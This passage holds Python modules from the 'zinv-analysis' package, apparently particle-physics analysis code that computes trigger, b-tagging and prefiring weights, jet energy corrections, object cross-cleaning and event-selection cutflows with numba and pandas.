metnox)[zero_mask]/wmet[zero_mask] - 1. return weight_numba(wmet, nsig, up, down) class WeightMetTrigger(object): def __init__(self, **kwargs): self.__dict__.update(kwargs) self.cats = sorted([nmu for nmu in self.correction_files.keys()]) self.xcents = [] self.corr = [] self.statup = [] self.statdown = [] self.systup = [] self.systdown = [] for nmuon in self.cats: df = read_file(self.correction_files[nmuon]) self.xcents.append(df.eval("(x_low + x_high)/2.").values) self.corr.append(df["val"].values) self.statup.append(df["err_down"].values) self.statdown.append(df["err_up"].values) self.systup.append(df["syst_up"].values) self.systdown.append(df["syst_down"].values) self.xcents = np.array(self.xcents, dtype=np.float32) self.corr = np.array(self.corr, dtype=np.float32) self.statup = np.array(self.statup, dtype=np.float32) self.statdown = np.array(self.statdown, dtype=np.float32) self.systup = np.array(self.systup, dtype=np.float32) self.systdown = np.array(self.systdown, dtype=np.float32) def begin(self, event): params = ( self.corr, self.corr*(1.+self.statup), self.corr*(1.-self.statdown), self.corr*(1.+self.systup), self.corr*(1.-self.systdown), ) event.register_function( event, "WeightMETTrig", partial( evaluate_met_trigger, cats=self.cats, xcents=self.xcents, params=params, ), ) def read_file(path): df = pd.read_csv(path, sep='\s+')[[ "x_low", "x_high", "val", "err_down", "err_up", "syst_up", "syst_down", ]] df["x_cent"] = df.eval("(x_low+x_high)/2.") return df
zinv-analysis
/zinv_analysis-0.3.2-py3-none-any.whl/zinv/modules/readers/WeightMetTrigger.py
WeightMetTrigger.py
import numpy as np import yaml import operator from cachetools import cachedmethod from cachetools.keys import hashkey from functools import partial, reduce from zinv.utils.Lambda import Lambda def evaluate_selection(ev, source, nsig, name, cutlist): return reduce( operator.add, cutlist, Lambda("ev, source, nsig: np.ones(ev.size, dtype=np.bool8)"), )(ev, source, nsig) class SelectionProducer(object): def __init__(self, **kwargs): self.__dict__.update(kwargs) def begin(self, event): with open(self.event_selection_path, 'r') as f: event_selection = yaml.load(f) selections = event_selection["selections"] grouped_selections = event_selection["grouped_selections"] expanded_grouped_selections = {} for label, selectionlist in grouped_selections.items(): if label not in expanded_grouped_selections: expanded_grouped_selections[label] = [] expanded_grouped_selections[label].extend([ (s, selections[s]) for s in selectionlist ]) cutflows = event_selection["cutflows"] expanded_cutflows = {} for cutflow, datamc_dict in cutflows.items(): if cutflow not in expanded_cutflows: expanded_cutflows[cutflow] = {} for data_or_mc, labellist in datamc_dict.items(): if data_or_mc not in expanded_cutflows[cutflow]: expanded_cutflows[cutflow][data_or_mc] = [] for label in labellist: expanded_cutflows[cutflow][data_or_mc].extend( expanded_grouped_selections[label] ) self.selections = expanded_cutflows # Create N-1 cutflows additional_selections = {} for cutflow, datamc_selections in self.selections.items(): for data_or_mc, selection in datamc_selections.items(): for subselection in selection: new_selection = selection[:] new_selection.remove(subselection) newcutflow = "{}_remove_{}".format(cutflow, subselection[0]) if newcutflow not in additional_selections: additional_selections[newcutflow] = {} additional_selections[newcutflow][data_or_mc] = new_selection self.selections.update(additional_selections) # Add cutflows to the event data_or_mc = "Data" if event.config.dataset.isdata else "MC" for cutflow, datamc_selections in self.selections.items(): if data_or_mc in datamc_selections: event.register_function( event, "Cutflow_"+cutflow, partial( evaluate_selection, name=cutflow, cutlist=[ Lambda(cut[1]) for cut in datamc_selections[data_or_mc] ], ), )
zinv-analysis
/zinv_analysis-0.3.2-py3-none-any.whl/zinv/modules/readers/SelectionProducer.py
SelectionProducer.py
import numpy as np import numba as nb import pandas as pd import awkward as awk import operator from cachetools import cachedmethod from cachetools.keys import hashkey from functools import partial from zinv.utils.NumbaFuncs import weight_numba, get_bin_indices dict_apply = np.vectorize(lambda d, x: d[x]) def btag_formula(x, df): @nb.njit(["float32[:](float32[:],int32[:],float32[:],float32[:],float32[:],float32[:],float32[:],float32[:],float32[:],float32[:],float32[:])"]) def btag_formula_numba(x_, eqtype, xlow, xhigh, p0, p1, p2, p3, p4, p5, p6): xtest = np.minimum(np.maximum(x_, xlow), xhigh) sf = np.ones_like(xtest, dtype=np.float32) sf[eqtype==0] = (p0*((1+(p1*xtest))/(1+(p2*xtest))) + p3)[eqtype==0] sf[eqtype==1] = ((p0 + p1*xtest + p2*xtest**2 + p3*xtest**3)*(1 + (p4 + p5*xtest + p6*xtest**2)))[eqtype==1] sf[eqtype==2] = ((p0 + p1/(xtest**2) + p2*xtest)*(1 + (p4 + p5*xtest + p6*xtest**2)))[eqtype==2] return sf return btag_formula_numba( x, df["eqtype"].values.astype(np.int32), df["xlow"].values.astype(np.float32), df["xhigh"].values.astype(np.float32), df["p0"].values.astype(np.float32), df["p1"].values.astype(np.float32), df["p2"].values.astype(np.float32), df["p3"].values.astype(np.float32), df["p4"].values.astype(np.float32), df["p5"].values.astype(np.float32), df["p6"].values.astype(np.float32), ) def evaluate_btagsf(ev, source, nsig, df, attrs, h2f): jet_flavour = dict_apply(h2f, ev.Jet.hadronFlavour.content) # Create mask mask = np.ones((jet_flavour.shape[0], df.shape[0]), dtype=np.bool8) # Flavour mask event_attrs = [jet_flavour.astype(np.float32)] mins = [df["jetFlavor"].values.astype(np.float32)] maxs = [(df["jetFlavor"].values+1).astype(np.float32)] for jet_attr, df_attr in attrs: obj_attr = getattr(ev.Jet, jet_attr) if callable(obj_attr): obj_attr = obj_attr(ev, source, nsig) event_attrs.append(obj_attr.content.astype(np.float32)) mins.append(df[df_attr+"Min"].values.astype(np.float32)) maxs.append(df[df_attr+"Max"].values.astype(np.float32)) # Create indices from mask indices = get_bin_indices(event_attrs, mins, maxs, 3) idx_central = indices[:,0] idx_down = indices[:,1] idx_up = indices[:,2] jpt = ev.Jet.ptShift(ev, source, nsig) sf = btag_formula(jpt.content, df.iloc[idx_central]) sf_up = btag_formula(jpt.content, df.iloc[idx_up]) sf_down = btag_formula(jpt.content, df.iloc[idx_down]) sf_up = (source=="btagSF")*(sf_up/sf-1.) sf_down = (source=="btagSF")*(sf_down/sf-1.) return awk.JaggedArray( jpt.starts, jpt.stops, weight_numba(sf, nsig, sf_up, sf_down), ) class WeightBTagging(object): ops = {"loose": 0, "medium": 1, "tight": 2, "reshaping": 3} flavours = {"b": 0, "c": 1, "udsg": 2} hadron_to_flavour = { 5: 0, -5: 0, 4: 1, -4: 1, 0: 2, 1: 2, 2: 2, 3: 2, -1: 2, -2: 2, -3: 2, 21: 2, } def __init__(self, **kwargs): self.__dict__.update(kwargs) df = pd.read_csv(self.calibration_file, sep=',\s+', engine='python') params = np.vstack(df["params"].apply(lambda x: eval(x[1:-1]))) df["eqtype"] = params[:,0] df["xlow"] = params[:,1] df["xhigh"] = params[:,2] df["p0"] = params[:,3] df["p1"] = params[:,4] df["p2"] = params[:,5] df["p3"] = params[:,6] df["p4"] = params[:,7] df["p5"] = params[:,8] df["p6"] = params[:,9] op_num = self.ops[self.operating_point] df = df.loc[(df["CSVv2;OperatingPoint"] == op_num)]\ .reset_index(drop=True) mask = np.zeros(df.shape[0], dtype=np.bool8) for flav, mtype in self.measurement_types.items(): mask = mask | ((df["measurementType"]==mtype) & (df["jetFlavor"]==self.flavours[flav])) df = df.loc[mask] self.calibrations = df[[ "sysType", "measurementType", "jetFlavor", "etaMin", "etaMax", "ptMin", "ptMax", "discrMin", "discrMax", "eqtype", "xlow", "xhigh", "p0", "p1", "p2", "p3", "p4", "p5", "p6", ]].sort_values(["sysType"]).reset_index(drop=True) def begin(self, event): attrs = [("eta", "eta"), ("ptShift", "pt")] if self.operating_point == "reshaping": attrs.append(("btagCSVV2", "discr")) event.register_function( event, "Jet_btagSF", partial( evaluate_btagsf, df=self.calibrations, attrs=attrs, h2f=self.hadron_to_flavour, ), ) def end(self): self.calibrations = None
zinv-analysis
/zinv_analysis-0.3.2-py3-none-any.whl/zinv/modules/readers/WeightBTagging.py
WeightBTagging.py
import pandas as pd import numpy as np import numba as nb import operator from cachetools import cachedmethod from cachetools.keys import hashkey from functools import partial from zinv.utils.NumbaFuncs import weight_numba, get_bin_indices from zinv.utils.Geometry import DeltaR2 from zinv.utils.Lambda import Lambda def evaluate_prefiring_weight(ev, source, nsig, funcs, jetmap, photmap, syst): @nb.njit(["UniTuple(float32[:],3)(float32[:],float32[:],float32[:],float32[:],int64[:],int64[:],float32[:],float32[:],float32[:],float32[:],int64[:],int64[:])"]) def prob_nonprefiring_numba( pho_eta, pho_phi, pho_p, pho_perr, pho_stas, pho_stos, jet_eta, jet_phi, jet_p, jet_perr, jet_stas, jet_stos, ): nonprefiring_prob = np.ones(pho_stas.shape[0], dtype=np.float32) nonprefiring_prob_up = np.ones(pho_stas.shape[0], dtype=np.float32) nonprefiring_prob_down = np.ones(pho_stas.shape[0], dtype=np.float32) for iev, (psta, psto, jsta, jsto) in enumerate(zip(pho_stas, pho_stos, jet_stas, jet_stos)): j_skip = [] for pidx in range(psta, psto): pprob = max(0., min(1., pho_p[pidx])) pprob_up = max(0., min(1., pho_p[pidx] + pho_perr[pidx])) pprob_down = max(0., min(1., pho_p[pidx] - pho_perr[pidx])) match_jidx = jsta-1 min_dr2 = 0.16 for jidx in range(jsta, jsto): deta = pho_eta[pidx] - jet_eta[jidx] dphi = pho_phi[pidx] - jet_phi[jidx] dr2 = DeltaR2(deta, dphi) if dr2 < min_dr2: min_dr2 = dr2 match_jidx = jidx if jsta <= match_jidx and match_jidx < jsto: j_skip.append(jidx) jprob = max(0., min(1., jet_p[jidx])) jprob_up = max(0., min(1., jet_p[jidx] + jet_perr[jidx])) jprob_down = max(0., min(1., jet_p[jidx] - jet_perr[jidx])) pprob = max(pprob, jprob) pprob_up = max(pprob_up, jprob_up) pprob_down = max(pprob_down, jprob_down) nonprefiring_prob[iev] *= (1-pprob) nonprefiring_prob_up[iev] *= (1-pprob_up) nonprefiring_prob_down[iev] *= (1-pprob_down) for jidx in range(jsta, jsto): if jidx in j_skip: continue jprob = max(0., min(1., jet_p[jidx])) jprob_up = max(0., min(1., jet_p[jidx] + jet_perr[jidx])) jprob_down = max(0., min(1., jet_p[jidx] - jet_perr[jidx])) nonprefiring_prob[iev] *= (1-jprob) nonprefiring_prob_up[iev] *= (1-jprob_up) nonprefiring_prob_down[iev] *= (1-jprob_down) return nonprefiring_prob, nonprefiring_prob_up, nonprefiring_prob_down jet_mask = funcs["Jet"](ev, source, nsig) jet_eta = ev.Jet_eta[jet_mask] jet_effs, jet_effs_stat = get_efficiencies( ev, source, nsig, "Jet", jet_mask, jetmap, ) jet_effs_err = np.sqrt(jet_effs_stat**2 + (syst*jet_effs)**2) photon_mask = funcs["Photon"](ev, source, nsig) photon_eta = ev.Photon_eta[photon_mask] photon_effs, photon_effs_stat = get_efficiencies( ev, source, nsig, "Photon", photon_mask, photmap, ) photon_effs_err = np.sqrt(photon_effs_stat**2 + (syst*photon_effs)**2) prob, probup, probdown = prob_nonprefiring_numba( photon_eta.content, ev.Photon_phi[photon_mask].content, photon_effs.astype(np.float32), photon_effs_err.astype(np.float32), photon_eta.starts, photon_eta.stops, jet_eta.content, ev.Jet_phi[jet_mask].content, jet_effs.astype(np.float32), jet_effs_err.astype(np.float32), jet_eta.starts, jet_eta.stops, ) return weight_numba( prob, nsig, (source=="prefiring")*(probup/prob-1.), (source=="prefiring")*(probdown/prob-1.), ) class WeightPreFiring(object): def __init__(self, **kwargs): self.__dict__.update(kwargs) self.jet_eff_map = get_maps(self.jet_eff_map_path) self.photon_eff_map = get_maps(self.photon_eff_map_path) def begin(self, event): functions = { "Jet": Lambda(self.jet_selection), "Photon": Lambda(self.photon_selection), } event.register_function( event, "WeightPreFiring", partial( evaluate_prefiring_weight, funcs=functions, jetmap=self.jet_eff_map, photmap=self.photon_eff_map, syst=self.syst, ), ) def end(self): self.functions = None def get_maps(path): df = pd.read_csv(path, sep='\s+') df.loc[df["yupp"]==df["yupp"].max(), "yupp"] = np.inf # overflow pt (y-axis) return df def get_efficiencies(event, source, nsig, obj, selection, effmap): indices = get_bin_indices( [getattr(event, "{}_eta".format(obj))[selection].content, getattr(event, "{}_ptShift".format(obj))(event, source, nsig)[selection].content.astype(np.float32)], [effmap["xlow"].values, effmap["ylow"].values], [effmap["xupp"].values, effmap["yupp"].values], 1, )[:,0] df = effmap.iloc[indices] return df["content"].values, df["error"].values
zinv-analysis
/zinv_analysis-0.3.2-py3-none-any.whl/zinv/modules/readers/WeightPreFiring.py
WeightPreFiring.py
import numpy as np import numba as nb import awkward as awk import operator from functools import reduce from cachetools import cachedmethod from cachetools.keys import hashkey from functools import partial from zinv.utils.Geometry import DeltaR2 def evaluate_xclean_mask(ev, source, nsig, obj1name, obj2names, mindr): @nb.njit(["boolean[:](float32[:],float32[:],int64[:],int64[:],float32[:],float32[:],int64[:],int64[:])"]) def xclean_mask_numba( etas1, phis1, starts1, stops1, etas2, phis2, starts2, stops2, ): content = np.ones_like(etas1, dtype=np.bool8) for iev, (start1, stop1, start2, stop2) in enumerate(zip( starts1, stops1, starts2, stops2, )): for idx1 in range(start1, stop1): eta1 = etas1[idx1] phi1 = phis1[idx1] for idx2 in range(start2, stop2): deta = eta1 - etas2[idx2] dphi = phi1 - phis2[idx2] # dR**2 < 0.4**2 if DeltaR2(deta, dphi) < mindr**2: content[idx1] = False break return content obj1 = getattr(ev, obj1name) masks = [] for obj2name in obj2names: obj2 = getattr(ev, obj2name) masks.append(xclean_mask_numba( obj1.eta.content, obj1.phi.content, obj1.eta.starts, obj1.eta.stops, obj2(ev, source, nsig, 'eta').content, obj2(ev, source, nsig, 'phi').content, obj2(ev, source, nsig, 'eta').starts, obj2(ev, source, nsig, 'eta').stops, )) return awk.JaggedArray( obj1.eta.starts, obj1.eta.stops, reduce(operator.and_, masks), ) class ObjectCrossCleaning(object): def __init__(self, **kwargs): self.__dict__.update(kwargs) def begin(self, event): for cname in self.collections: event.register_function( event, "{}_XCleanMask".format(cname), partial( evaluate_xclean_mask, obj1name=cname, obj2names=self.ref_collections, mindr=self.mindr, ), )
zinv-analysis
/zinv_analysis-0.3.2-py3-none-any.whl/zinv/modules/readers/ObjectCrossCleaning.py
ObjectCrossCleaning.py
import time import logging logger = logging.getLogger(__name__) class ScribblerWrapper(object): def __init__(self, scribbler): logger.debug("{}.__init__".format(scribbler.name)) self.scribbler = scribbler self.data = getattr(self.scribbler, "data", True) self.mc = getattr(self.scribbler, "mc", True) if not hasattr(self.scribbler, 'timing'): self.scribbler.timing = True self.scribbler.time_elapsed = 0. def __repr__(self): return repr(self.scribbler) def __getattr__(self, attr): if attr in ["scribbler", "data", "mc"]: raise AttributeError("{} should be assigned but isn't".format(attr)) return getattr(self.scribbler, attr) def begin(self, event): logger.debug("{}.begin".format(self.scribbler.name)) self.isdata = event.config.dataset.isdata if self.isdata and not self.data: return True if not self.isdata and not self.mc: return True if hasattr(self.scribbler, "begin"): return self.scribbler.begin(event) def event(self, event): logger.debug("{}.event".format(self.scribbler.name)) if self.isdata and not self.data: return True if not self.isdata and not self.mc: return True if hasattr(self.scribbler, "event"): if self.scribbler.timing: start = time.time_ns() result = self.scribbler.event(event) if self.scribbler.timing: end = time.time_ns() self.scribbler.time_elapsed += (end - start) return result return True def merge(self, other): self.scribbler.time_elapsed += other.scribbler.time_elapsed def collect(self): if hasattr(self.scribbler, 'collect'): return self.scribbler.collect() return {self.scribbler.name: self.scribbler.time_elapsed} def end(self): logger.debug("{}.end".format(self.scribbler.name)) if hasattr(self.scribbler, "end"): return self.scribbler.end() return True
zinv-analysis
/zinv_analysis-0.3.2-py3-none-any.whl/zinv/modules/readers/ScribblerWrapper.py
ScribblerWrapper.py
import re import numpy as np import numba as nb import pandas as pd import awkward as awk from functools import partial from zinv.utils.NumbaFuncs import get_bin_indices, event_to_object_var, interpolate from zinv.utils.Geometry import RadToCart2D, CartToRad2D, DeltaR2 @nb.njit(["float32[:](float32[:],float32[:],float32[:],float32[:],float32[:])", "float64[:](float64[:],float64[:],float64[:],float64[:],float64[:])"]) def jer_formula(x, p0, p1, p2, p3): return np.sqrt(p0*np.abs(p0)/(x*x)+p1*p1*np.power(x,p3)+p2*p2) def met_shift(ev, coll): @nb.njit(["UniTuple(float32[:],2)(float32[:],float32[:],float32[:],float32[:],float32[:],int64[:],int64[:])"]) def met_shift_numba(met, mephi, jpt, jptshift, jphi, jstarts, jstops): jpx_old, jpy_old = RadToCart2D(jpt, jphi) jpx_new, jpy_new = RadToCart2D(jptshift, jphi) mex, mey = RadToCart2D(met[:], mephi[:]) for iev, (start, stop) in enumerate(zip(jstarts, jstops)): for iob in range(start, stop): mex[iev] += (jpx_old[iob] - jpx_new[iob]) mey[iev] += (jpy_old[iob] - jpy_new[iob]) return CartToRad2D(mex, mey) return met_shift_numba( getattr(ev, "{}_ptJESOnly".format(coll)), getattr(ev, "{}_phiJESOnly".format(coll)), ev.Jet_ptJESOnly.content, ev.Jet_pt.content, ev.Jet_phi.content, ev.Jet_pt.starts, ev.Jet_pt.stops, ) def met_sumet_shift(ev, coll): @nb.jit(["float32[:](float32[:], float32[:], float32[:], int64[:], int64[:])"]) def nb_met_sumet_shift(sumet, jpt, cjpt, jstas, jstos): csumet = np.zeros_like(sumet, dtype=np.float32) for iev, (start, stop) in enumerate(zip(jstas, jstos)): csumet[iev] = sumet[iev] + (cjpt[start:stop] - jpt[start:stop]).sum() return csumet return nb_met_sumet_shift( getattr(ev, "{}_sumEtJESOnly".format(coll)), ev.Jet_ptJESOnly.content, ev.Jet_pt.content, ev.Jet_pt.starts, ev.Jet_pt.stops, ) def match_jets_from_genjets(event, maxdr, ndpt): @nb.njit(["int64[:](float32[:],float32[:],float32[:],float32[:],int64[:],int64[:],float32[:],float32[:],float32[:],int64[:],int64[:],float32,float32)"]) def numba_function( jpt, jeta, jphi, jres, jsta, jsto, gjpt, gjeta, gjphi, gjsta, gjsto, maxdr_, ndpt_, ): match_idx = -1*np.ones_like(jpt, dtype=np.int64) for iev, (jb, je, gjb, gje) in enumerate(zip(jsta, jsto, gjsta, gjsto)): for ijs in range(jb, je): for igjs in range(gjb, gje): within_dr2 = DeltaR2( jeta[ijs]-gjeta[igjs], jphi[ijs]-gjphi[igjs], ) < maxdr_**2 within_dpt = np.abs(jpt[ijs]-gjpt[igjs]) < ndpt_*jres[ijs]*jpt[ijs] if within_dr2 and within_dpt: match_idx[ijs] = igjs-gjb break return match_idx return awk.JaggedArray( event.Jet.pt.starts, event.Jet.pt.stops, numba_function( event.Jet.pt.content, event.Jet.eta.content, event.Jet.phi.content, event.Jet_ptResolution(event).content, event.Jet.pt.starts, event.Jet.pt.stops, event.GenJet.pt.content, event.GenJet.eta.content, event.GenJet.phi.content, event.GenJet.pt.starts, event.GenJet.pt.stops, maxdr, ndpt, ), ) class JecVariations(object): def __init__(self, **kwargs): self.__dict__.update(kwargs) self.jesuncs = read_table( self.jes_unc_file, underflow_cols=["eta_low"], overflow_cols=["eta_high"], ) self.jersfs = read_table( self.jer_sf_file, underflow_cols=["eta_low"], overflow_cols=["eta_high"], ) self.jers = read_table( self.jer_file, underflow_cols=["eta_low", "rho_low"], overflow_cols=["eta_high", "rho_high"], ) def begin(self, event): np.random.seed(123456+event.config.dataset.idx) self.jesuncs["pt"] = self.jesuncs["pt"].apply(lambda x: list(eval(x.replace("nan", "np.nan")))) self.jesuncs["corr_up"] = self.jesuncs["corr_up"].apply(lambda x: list(eval(x.replace("nan", "np.nan")))) self.jesuncs["corr_down"] = self.jesuncs["corr_down"].apply(lambda x: list(eval(x.replace("nan", "np.nan")))) self.jes_sources = self.jesuncs["source"].unique() event.JesSources = ["jes"+s for s in self.jes_sources] # register functions event.register_function( event, 'Jet_ptResolution', partial(jet_pt_res, jers=self.jers), ) event.register_function( event, 'Jet_jerSF', partial( jer_corr, jersfs=self.jersfs, maxdr_jets_with_genjets=self.maxdr_jets_with_genjets, ndpt_jets_with_genjets=self.ndpt_jets_with_genjets, ), ) event.register_function( event, 'Jet_jesSF', partial(jes_corr, jesuncs=self.jesuncs), ) def event(self, event): event.Jet_ptJESOnly = event.Jet_pt[:,:] event.MET_ptJESOnly = event.MET_pt[:] event.MET_phiJESOnly = event.MET_phi[:] event.MET_sumEtJESOnly = event.MET_sumEt[:] event.PuppiMET_ptJESOnly = event.PuppiMET_pt[:] event.PuppiMET_phiJESOnly = event.PuppiMET_phi[:] event.PuppiMET_sumEtJESOnly = event.PuppiMET_sumEt[:] if self.apply_jer_corrections: sf = event.Jet_jerSF(event, "", 0.) event.Jet_pt = (event.Jet_ptJESOnly*sf)[:,:].astype(np.float32) met, mephi = met_shift(event, coll="MET") event.MET_pt = met[:].astype(np.float32) event.MET_phi = mephi[:].astype(np.float32) met_sumet = met_sumet_shift(event, coll="MET") event.MET_sumEt = met_sumet[:].astype(np.float32) met, mephi = met_shift(event, coll="PuppiMET") event.PuppiMET_pt = met[:].astype(np.float32) event.PuppiMET_phi = mephi[:].astype(np.float32) met_sumet = met_sumet_shift(event, coll="PuppiMET") event.PuppiMET_sumEt = met_sumet[:].astype(np.float32) def jet_pt_res(ev, jers): indices = get_bin_indices( [np.abs(ev.Jet_eta.content), event_to_object_var(ev.fixedGridRhoFastjetAll, ev.Jet_ptJESOnly.starts, ev.Jet_ptJESOnly.stops)], [jers["eta_low"].values, jers["rho_low"].values], [jers["eta_high"].values, jers["rho_high"].values], 1, )[:,0] df = jers.iloc[indices] params = df[["param0", "param1", "param2", "param3"]].values.astype(np.float32) ptbounds = df[["pt_low", "pt_high"]].values return awk.JaggedArray( ev.Jet_ptJESOnly.starts, ev.Jet_ptJESOnly.stops, jer_formula( np.minimum(np.maximum(ev.Jet_ptJESOnly.content, ptbounds[:,0]), ptbounds[:,1]).astype(np.float32), params[:,0], params[:,1], params[:,2], params[:,3], ), ) def jer_corr(ev, source, nsig, jersfs, maxdr_jets_with_genjets, ndpt_jets_with_genjets): flavour = "jerSF" if source == "jerSF" and nsig != 0.: updown = "Up" if nsig>0. else "Down" flavour += updown if not ev.hasbranch("Jet_JEC{}".format(flavour)): indices = get_bin_indices( [ev.Jet_eta.content], [jersfs["eta_low"].values], [jersfs["eta_high"].values], 1, )[:,0] ressfs = jersfs.iloc[indices][["corr", "corr_up", "corr_down"]].values cjer = np.ones_like(ev.Jet_ptJESOnly.content, dtype=np.float32) cjer_up = np.ones_like(ev.Jet_ptJESOnly.content, dtype=np.float32) cjer_down = np.ones_like(ev.Jet_ptJESOnly.content, dtype=np.float32) # match gen jets gidx = match_jets_from_genjets( ev, maxdr_jets_with_genjets, ndpt_jets_with_genjets, ) mask = (gidx>=0) indices = (ev.GenJet_pt.starts+gidx[mask]).content gpt_matched = ev.GenJet_pt.content[indices] mask = mask.content gen_var = np.abs(1.-gpt_matched/ev.Jet_ptJESOnly.content[mask]) gaus_var = np.random.normal(0., gen_var) cjer[mask] = 1. + (ressfs[mask,0]-1.)*gaus_var cjer_up[mask] = 1. + (ressfs[mask,1]-1.)*gaus_var cjer_down[mask] = 1. + (ressfs[mask,2]-1.)*gaus_var # unmatched gen jets gaus_var = np.random.normal(0., ev.Jet_ptResolution(ev).content[~mask]) ressfs_mod = ressfs[~mask]**2-1. ressfs_mod[ressfs_mod<0.] = 0. cjer[~mask] = 1. + gaus_var*np.sqrt(ressfs_mod[:,0]) cjer_up[~mask] = 1. + gaus_var*np.sqrt(ressfs_mod[:,1]) cjer_down[~mask] = 1. + gaus_var*np.sqrt(ressfs_mod[:,2]) # negative checks cjer[cjer<0.] = 0. cjer_up[cjer_up<0.] = 0. cjer_down[cjer_down<0.] = 0. cjer_up[cjer>0.] = (cjer_up/cjer-1.)[cjer>0.] cjer_up[cjer==0.] = 0. cjer_down[cjer>0.] = (cjer_down/cjer-1.)[cjer>0.] cjer_down[cjer==0.] = 0. # write to event starts, stops = ev.Jet_ptJESOnly.starts, ev.Jet_ptJESOnly.stops ev.Jet_JECjerSF = awk.JaggedArray(starts, stops, cjer) ev.Jet_JECjerSFUp = awk.JaggedArray(starts, stops, cjer_up) ev.Jet_JECjerSFDown = awk.JaggedArray(starts, stops, cjer_down) return getattr(ev, "Jet_JEC{}".format(flavour)) def jes_corr(ev, source, nsig, jesuncs): flavour = source if source in ev.JesSources and nsig != 0.: updown = "Up" if nsig>0. else "Down" flavour += updown else: starts = ev.Jet_pt.starts stops = ev.Jet_pt.stops return awk.JaggedArray( starts, stops, np.ones_like(ev.Jet_pt.content, dtype=np.float32), ) if not ev.hasbranch("Jet_JEC{}".format(flavour)): df = jesuncs[jesuncs["source"]==(source[3:] if source.startswith("jes") else source)] indices = get_bin_indices( [ev.Jet_eta.content], [df["eta_low"].values], [df["eta_high"].values], 1, )[:,0] pt = np.array(list(df.iloc[indices]["pt"].values)) corr_up = np.array(list(df.iloc[indices]["corr_up"].values)) corr_down = np.array(list(df.iloc[indices]["corr_down"].values)) corr_up = interpolate(ev.Jet_ptJESOnly.content, pt, corr_up).astype(np.float32) corr_down = interpolate(ev.Jet_ptJESOnly.content, pt, corr_down).astype(np.float32) starts = ev.Jet_eta.starts stops = ev.Jet_eta.stops setattr(ev, "Jet_JEC{}Up".format(source), awk.JaggedArray( starts, stops, corr_up, )) setattr(ev, "Jet_JEC{}Down".format(source), awk.JaggedArray( starts, stops, -1.*corr_down, )) return getattr(ev, "Jet_JEC{}".format(flavour)) def read_table(path, underflow_cols=[], overflow_cols=[]): df = pd.read_csv(path, sep=',') for c in underflow_cols: df.loc[df[c]==df[c].min(), c] = -np.inf for c in overflow_cols: df.loc[df[c]==df[c].max(), c] = np.inf return df
zinv-analysis
/zinv_analysis-0.3.2-py3-none-any.whl/zinv/modules/readers/JecVariations.py
JecVariations.py
import numpy as np import numba as nb import awkward as awk import operator from cachetools import cachedmethod from cachetools.keys import hashkey from functools import partial from zinv.utils.Geometry import RadToCart2D, CartToRad2D, BoundPhi, DeltaR2 from zinv.utils.Lambda import Lambda @nb.njit(["float32[:](float32[:], float32, float32[:], float32[:])"]) def pt_shift_numba(pt, nsig, up, down): return (pt*(1 + (nsig>=0)*nsig*up - (nsig<0)*nsig*down)).astype(np.float32) def jet_pt_shift(ev, source, nsig): updo = 'Up' if nsig>=0. else 'Down' if source=='jerSF': variation = 1. + np.abs(nsig)*getattr(ev, 'Jet_JECjerSF{}'.format(updo)) elif source.startswith("jes"): variation = 1. + np.abs(nsig)*ev.Jet_jesSF(ev, source, nsig) else: variation = 1. return ev.Jet_pt * variation def jet_dphimet(ev, source, nsig, coll): @nb.njit(["float32[:](float32[:], float32[:], int64[:], int64[:])"]) def dphi_met(mephi, jphi, starts, stops): dphi = np.pi*np.ones_like(jphi, dtype=np.float32) for iev, (start, stop) in enumerate(zip(starts, stops)): for iob in range(start, stop): dphi[iob] = np.abs(BoundPhi(jphi[iob]-mephi[iev])) return dphi.astype(np.float32) jphi = ev.Jet.phi return awk.JaggedArray( jphi.starts, jphi.stops, dphi_met( getattr(ev, "{}_phiShift".format(coll))(ev, source, nsig), jphi.content, jphi.starts, jphi.stops, ), ) def tau_dphimet(ev, source, nsig, coll): def dphi_met(mephi, tphi, starts, stops): dphi = np.pi*np.ones_like(tphi, dtype=np.float32) for iev, (start, stop) in enumerate(zip(starts, stops)): for iob in range(start, stop): dphi[iob] = np.abs(BoundPhi(tphi[iob]-mephi[iev])) return dphi.astype(np.float32) tphi = ev.Tau.phi return awk.JaggedArray( tphi.starts, tphi.stops, dphi_met( getattr(ev, "{}_phiShift".format(coll))(ev, source, nsig), tphi.content, tphi.starts, tphi.stops, ), ) def muon_pt_shift(ev, source, nsig): @nb.njit(["float32[:](float32[:],float32[:])"]) def nb_muon_pt_err_v2(muon_pt, muon_eta): muon_pt_err = np.zeros_like(muon_pt, dtype=np.float32) for idx in range(len(muon_pt)): # see https://twiki.cern.ch/twiki/bin/view/CMS/MuonReferenceScaleResolRun2#RefRun pt_err = 0. if abs(muon_eta[idx])<1.2: pt_err = 0.004 elif abs(muon_eta[idx])<2.1: pt_err = 0.009 elif muon_eta[idx]>=2.1: pt_err = 0.017 else: pt_err = 0.027 muon_pt_err[idx] = pt_err*muon_pt[idx] return muon_pt_err muon_pt_err = nb_muon_pt_err_v2(ev.Muon.pt.content, ev.Muon.eta.content) shift = ((source=="muonPtScale")*muon_pt_err/ev.Muon.pt.content).astype(np.float32) return awk.JaggedArray(ev.Muon.pt.starts, ev.Muon.pt.stops, pt_shift_numba( ev.Muon.pt.content, nsig, shift, -1.*shift )) def ele_pt_shift(ev, source, nsig): shift = ((source=="eleEnergyScale")*ev.Electron_energyErr.content/(ev.Electron.pt.content*np.cosh(ev.Electron.eta.content))).astype(np.float32) return awk.JaggedArray(ev.Electron.pt.starts, ev.Electron.pt.stops, pt_shift_numba( ev.Electron.pt.content, nsig, shift, -shift )) def photon_pt_shift(ev, source, nsig): shift = ((source=="photonEnergyScale")*ev.Photon_energyErr.content/(ev.Photon.pt.content*np.cosh(ev.Photon.eta.content))).astype(np.float32) result = awk.JaggedArray(ev.Photon.pt.starts, ev.Photon.pt.stops, pt_shift_numba( ev.Photon.pt.content, nsig, shift, -shift )) result.content[np.isnan(result).content] = 0. return result def met_shift(ev, source, nsig, coll, attr): @nb.njit([ "UniTuple(float32[:],2)(" "float32[:],float32[:]," "float32[:],float32[:],float32[:],int64[:],int64[:]," ")" ]) def met_shift_numba(met, mephi, opt, optcorr, ophi, ostarts, ostops): opx_old, opy_old = RadToCart2D(opt, ophi) opx_new, opy_new = RadToCart2D(optcorr, ophi) mex, mey = RadToCart2D(met, mephi) for iev, (osta, osto) in enumerate(zip(ostarts, ostops)): for iob in range(osta, osto): mex[iev] += (opx_old[iob] - opx_new[iob]) mey[iev] += (opy_old[iob] - opy_new[iob]) return CartToRad2D(mex, mey) arg_ = 1 if attr=='phi' else 0 met = getattr(ev, "{}_pt".format(coll)) mephi = getattr(ev, "{}_phi".format(coll)) # Have to apply JEC shifts nmet, nmephi = 